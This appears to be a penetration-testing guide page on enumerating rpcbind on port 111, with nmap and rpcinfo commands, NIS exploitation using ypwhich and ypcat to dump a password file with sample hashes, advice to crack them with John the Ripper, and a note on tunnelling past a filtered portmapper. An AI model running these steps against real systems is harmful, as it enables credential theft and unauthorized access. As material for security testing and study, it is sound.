Provides information between Unix based systems. Port is often probed, it can be used to fingerprint the Nix OS, and to obtain information about available services. Port used with NFS, NIS, or any rpc-based service.
Default port: 111/TCP/UDP, 32771 in Oracle Solaris
PORT STATE SERVICE111/tcp open rpcbind
rpcinfo irked.htbnmap -sSUC -p111 192.168.10.1
Sometimes it doesn't give you any information, in other occasions you will get something like this:
If you find the service NFS then probably you will be able to list and download(and maybe upload) files:
Read 2049 - Pentesting NFS service to learn more about how to test this protocol.
If you find the service
You can try to exploit it. Anyway, first of all you will need to guess the NIS "domain name" of the machine (when NIS is installed it's configured a "domain name") and without knowing this domain name you cannot do anything.
Upon obtaining the NIS domain name for the environment (example.org in this case), use the ypwhich command to ping the NIS server and ypcat to obtain sensitive material. You should feed encrypted password hashes into John the Ripper, and once cracked, you can use it to evaluate system access and privileges.
root@kali:~# apt-get install nisroot@kali:~# ypwhich -d example.org 192.168.10.1potatohead.example.orgroot@kali:~# ypcat –d example.org –h 192.168.10.1 passwd.bynametiff:noR7Bk6FdgcZg:218:101::/export/home/tiff:/bin/bashkatykat:d.K5tGUWCJfQM:2099:102::/export/home/katykat:/bin/bashjames:i0na7pfgtxi42:332:100::/export/home/james:/bin/tcshflorent:nUNzkxYF0Hbmk:199:100::/export/home/florent:/bin/cshdave:pzg1026SzQlwc:182:100::/export/home/dave:/bin/bashyumi:ZEadZ3ZaW4v9.:1377:160::/export/home/yumi:/bin/bash
Contains hostnames and IP details
NIS user password file
NIS group file
Details mail aliases
If you find the rusersd service listed like this:
You could enumerate users of the box. To learn how read 1026 - Pentesting Rsusersd.
If during a nmap scan you see open ports like NFS but the port 111 is filtered, you won't be able to exploit those ports. But, if you can simulate a locally a portmapper service and you tunnel the NFS port from your machine to the victim one, you will be able to use regular tools to exploit those services. More information in https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc